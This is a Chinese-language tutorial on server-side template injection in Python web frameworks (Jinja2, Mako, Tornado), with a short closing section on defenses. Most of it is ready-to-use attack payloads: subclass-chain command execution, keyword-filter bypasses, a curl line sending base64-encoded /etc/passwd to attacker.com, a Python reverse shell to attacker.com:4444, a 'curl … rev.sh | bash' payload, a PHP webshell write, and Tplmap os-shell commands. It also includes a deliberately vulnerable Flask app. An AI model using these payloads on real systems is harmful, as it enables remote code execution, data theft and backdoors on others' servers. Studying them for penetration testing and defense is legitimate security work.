Python安全深度剖析:SSTI模板注入与自动化利用指南
第一章:Web模板引擎与SSTI基础
1.1 什么是模板引擎?
模板引擎是一种将动态数据嵌入静态模板文件,最终生成 HTML 或其他文本格式的技术。在 Python Web 开发中,常见的模板引擎包括:
Jinja2:Flask、FastAPI(通过 jinja2)默认使用,功能强大,语法类似 Django。
Mako:Pylons、Pyramid 等框架使用,语法灵活。
Tornado:自带模板引擎。
Django:自带模板引擎(Django Templates),安全机制相对严格。
1.2 SSTI(服务器端模板注入)原理
当开发者错误地将用户输入直接拼接进模板字符串,或使用render_template_string等函数且未对输入进行过滤时,攻击者可以注入模板语法,在服务器端执行任意代码。
典型危险代码(Flask + Jinja2):
python
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/hello') def hello(): name = request.args.get('name', 'World') template = "<h1>Hello, " + name + "!</h1>" return render_template_string(template)攻击者访问/hello?name={{7*7}},页面输出49,证明存在 SSTI。
1.3 注入点定位
SSTI 常出现在:
URL 参数
POST 表单数据
HTTP 头(User-Agent、X-Forwarded-For 等)
Cookie 值
文件上传内容(如果文件名或内容被模板渲染)
测试Payload:
jinja2
{{ 7*7 }} {{ 7*'7' }} ${7*7} {{config}} {{self}}第二章:Python SSTI 利用链深度解析
2.1 Python 对象模型与继承链
在 Python 中,一切都是对象。利用 SSTI 的核心是通过__class__、__base__、__mro__、__subclasses__()等魔法属性,从任意基础对象(如字符串、空列表)出发,找到可执行系统命令的类。
经典利用链(Jinja2):
python
''.__class__.__mro__[1].__subclasses__()
2.1.1 关键属性解释
| 属性 | 作用 |
|---|---|
__class__ | 返回对象所属的类 |
__bases__/__base__ | 返回类的父类元组 |
__mro__ | 方法解析顺序,可用于获取继承链 |
__subclasses__() | 返回类的所有子类列表 |
__globals__ | 返回函数所在模块的全局变量字典,常包含危险函数 |
__builtins__ | 内建函数模块,包含eval、exec、open等 |
2.1.2 子类索引定位法
获取所有子类后,需要找到能够执行命令的类。常见的“万能类”有:
<class 'os._wrap_close'>(包含os模块)<class 'warnings.catch_warnings'>(包含__builtins__)<class 'subprocess.Popen'>(直接执行命令)
查找命令执行类的脚本:
python
for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()): if 'os' in str(cls.__init__.__globals__.get('os', '')): print(i, cls)2.2 Jinja2 专用利用技巧
2.2.1config对象
在 Flask + Jinja2 中,{{config}}可以直接访问应用配置,甚至可能泄露 SECRET_KEY。
2.2.2self与request对象
{{self.__class__.__mro__[1].__subclasses__()}}{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
2.2.3 过滤器滥用
Jinja2 的过滤器本质是 Python 函数,可以调用:
jinja2
{{ ''.__class__.__mro__[1].__subclasses__()|attr('__getitem__')(133) }}2.3 Mako 模板注入
Mako 使用${...}作为表达式标记,利用方式更直接:
python
${__import__('os').system('whoami')}Mako 还允许直接调用context对象:
python
${context['__import__']('os').system('id')}2.4 Tornado 模板注入
Tornado 模板默认会转义输出,但使用{% raw %}或{{ ... }}时仍可能注入:
python
{{ __import__("os").system("ls") }}第三章:高级利用与绕过技术
3.1 绕过 WAF 与黑名单
很多 WAF 会过滤__class__、__subclasses__、os、system等关键词。
3.1.1 字符串拼接
jinja2
{{''['__cla'+'ss__']}}3.1.2 使用request参数传递
jinja2
{{request['__cl'+'ass__']}}或通过 GET 参数:
text
{{ request.args.__class__ }}3.1.3 利用attr()过滤器
jinja2
{{ ''.__class__|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}3.1.4 利用|与join绕过
jinja2
{{''['__class__']}}等价于:
jinja2
{{''|attr('__class__')}}3.1.5 编码与 Unicode 混淆
某些情况下,可以使用 Unicode 等价字符:
__class__→__cl\u0061ss__十六进制:
\x5f\x5fclass\x5f\x5f
3.2 无回显利用
当页面没有直接输出时,可以通过 DNSLog、HTTP 请求、写文件等方式获取执行结果。
3.2.1 使用requests发送数据
python
{{().__class__.__mro__[1].__subclasses__()[440]('curl http://attacker.com/?data=$(cat /etc/passwd | base64)',shell=True)}}(索引可能因 Python 版本而异)
3.2.2 通过socket建立反向 Shell
python
{{().__class__.__mro__[1].__subclasses__()[440]('python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'attacker.com\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\'/bin/bash\',\' -i\'])"',shell=True)}}3.3 Python 沙盒逃逸
某些情况下,模板运行在受限环境中(如eval被禁用、__builtins__被清空),需要更复杂的逃逸。
3.3.1 通过__builtins__恢复
python
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__['__builtins__']['__import__']('os').system('id')}}3.3.2 通过warnings.catch_warnings的__init__
python
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').system('id')")}}{% endif %}{% endfor %}3.4 利用os.environ与subprocess
当os.system被禁用时,可以尝试:
os.popen+.read()subprocess.Popensubprocess.check_output
python
{{''.__class__.__mro__[1].__subclasses__()[440]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}第四章:自动化工具与项目实践
4.1 Tplmap:SSTI 自动化检测与利用
Tplmap 是专门针对 SSTI 的渗透测试工具,支持 Jinja2、Mako、Tornado 等多种引擎。
安装:
bash
git clone https://github.com/epinna/tplmap cd tplmap pip install -r requirements.txt
基本使用:
bash
# 检测 python tplmap.py -u "http://target.com/hello?name=*" # 指定注入点 python tplmap.py -u "http://target.com/hello?name=*" --os-cmd "id" # 获取交互式 Shell python tplmap.py -u "http://target.com/hello?name=*" --os-shell
高级用法:
--engine:手动指定模板引擎(如 Jinja2)--level:设置检测深度(1-5)--upload:上传文件
4.2 自定义 Burp Suite 插件
使用 Burp 的 Intruder 配合字典批量测试 SSTI Payload。推荐使用Turbo Intruder进行高并发测试。
4.3 其他辅助工具
Jinja2-tester:本地快速验证 Payload
SSTImap:Tplmap 的升级版,支持更多引擎和特性
Python SSTI Payload Generator:自动生成 Payload 脚本
4.4 实战项目:搭建脆弱环境
使用 Docker 搭建 Flask + Jinja2 脆弱应用:
dockerfile
FROM python:3.8-slim RUN pip install flask COPY app.py /app.py CMD ["python", "/app.py"]
app.py(存在 SSTI):
python
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'Guest') template = f"<h1>Hello {name}</h1>" return render_template_string(template) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)第五章:防御措施与安全编码
5.1 根本解决方案
永远不要使用
render_template_string拼接用户输入。使用
render_template并传入上下文变量。python
return render_template('hello.html', name=name)启用 Jinja2 沙箱(
sandboxed=True),但注意沙箱并非完全安全。
5.2 输入过滤与白名单
对用户输入进行严格过滤,只允许字母数字。
使用正则表达式限制模板变量名。
5.3 使用安全配置
python
app.jinja_env.globals.update(__builtins__={}) # 移除内置函数 app.jinja_env.autoescape = True # 开启自动转义5.4 升级依赖
定期更新 Flask、Jinja2 等依赖,避免已知绕过漏洞。
5.5 使用 WAF 规则
部署 ModSecurity 等 WAF,配置规则拦截__class__、__subclasses__等关键词。
第六章:实战案例深度分析
案例一:Flask 应用 RCE
场景:某博客应用允许用户自定义页面标题,开发者使用render_template_string拼接标题。
Payload:
text
{{''.__class__.__mro__[1].__subclasses__()[440]('cat /flag.txt',shell=True,stdout=-1).communicate()[0]}}结果:获取服务器 flag。
案例二:绕过黑名单过滤
场景:WAF 拦截了__class__、os、system等关键词。
绕过 Payload:
jinja2
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}案例三:Mako 模板注入
场景:某网站使用 Mako 渲染错误页面,将异常信息传入模板。
Payload:
python
${self.module.cache.util.os.system('curl http://attacker.com/rev.sh | bash')}结果:反弹 Shell。
第七章:附录
7.1 Python 各版本通用 Payload 索引
以下 Payload 在不同 Python 版本中可能索引不同,需动态测试:
| 目标 | Payload 示例 |
|---|---|
| 获取所有子类 | ''.__class__.__mro__[1].__subclasses__() |
| 执行命令 (os.system) | [].__class__.__base__.__subclasses__()[140].__init__.__globals__['system']('id') |
| 执行命令 (subprocess) | [].__class__.__base__.__subclasses__()[137]('id', shell=True, stdout=-1).communicate() |
| 读文件 | ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() |
| 写 WebShell | [].__class__.__base__.__subclasses__()[40]('/tmp/shell.php','w').write('<?php eval($_GET[1]);?>') |
7.2 常见子类索引(Python 3.8+)
os._wrap_close:索引约 140-160subprocess.Popen:索引约 400-450warnings.catch_warnings:索引约 170-190
7.3 学习资源
Jinja2 官方文档
PortSwigger SSTI 教程
SSTI 利用 Wiki